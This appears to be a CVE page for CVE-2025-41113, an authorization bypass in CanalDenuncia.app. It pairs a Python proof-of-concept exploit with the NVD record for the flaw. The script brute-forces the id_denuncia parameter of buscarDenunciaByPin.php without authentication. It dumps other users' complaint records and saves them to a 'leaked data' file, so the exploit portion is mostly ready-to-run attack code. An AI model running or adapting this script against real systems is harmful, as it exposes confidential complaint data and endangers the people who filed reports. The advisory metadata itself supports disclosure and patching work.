CVE-2025-41113

import requests import json # CVE-2025-41113 PoC - CanalDenuncia.app Authorization Bypass # Target: /backend/api/buscarDenunciaByPin.php # Vulnerability: Missing authorization check on id_denuncia parameter TARGET_URL = "http://target-website.com/backend/api/buscarDenunciaByPin.php" def exploit_unauthorized_access(start_id=1, end_id=1000): """ Exploit unauthorized access to user complaint information by iterating through id_denuncia parameter values. """ results = [] for complaint_id in range(start_id, end_id + 1): # Construct POST request with arbitrary id_denuncia value payload = { 'id_denuncia': str(complaint_id) } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: # Send unauthorized request - no authentication required response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data and 'data' in data: print(f"[+] Found complaint ID {complaint_id}: {json.dumps(data, indent=2)}") results.append({ 'id': complaint_id, 'data': data }) except json.JSONDecodeError: # Response might be HTML or plain text if 'denuncia' in response.text.lower() or 'complaint' in response.text.lower(): print(f"[+] Found data for ID {complaint_id}") results.append({ 'id': complaint_id, 'raw_response': response.text[:500] }) except requests.exceptions.RequestException as e: print(f"[-] Error accessing ID {complaint_id}: {e}") return results if __name__ == "__main__": print("="*60) print("CVE-2025-41113 PoC - CanalDenuncia.app Authorization Bypass") print("="*60) print("\n[*] Exploiting missing authorization check...") print("[*] Target: " + TARGET_URL) print("[*] No authentication required!") print("-"*60) # Extract complaints with IDs from 1 to 100 leaked_data = exploit_unauthorized_access(start_id=1, end_id=100) print(f"\n[+] Total leaked complaints: {len(leaked_data)}") if leaked_data: with open('cve_2025_41113_leaked_data.json', 'w') as f: json.dump(leaked_data, f, indent=2) print("[+] Data saved to cve_2025_41113_leaked_data.json")

{"cve": {"id": "CVE-2025-41113", "sourceIdentifier": "[email protected]", "published": "2025-11-04T13:15:35.017", "lastModified": "2025-11-05T17:06:37.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of authorisation vulnerability has been detected in CanalDenuncia.app. This vulnerability allows an attacker to access other users' information by sending a POST through the parameter 'id_denuncia' in '/backend/api/buscarDenunciaByPin.php'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canaldenuncia:canaldenuncia.app:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.8", "matchCriteriaId": "D01A84B8-616B-48DE-B0C2-1DEAD4BB5B22"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-canaldenunciaapp", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}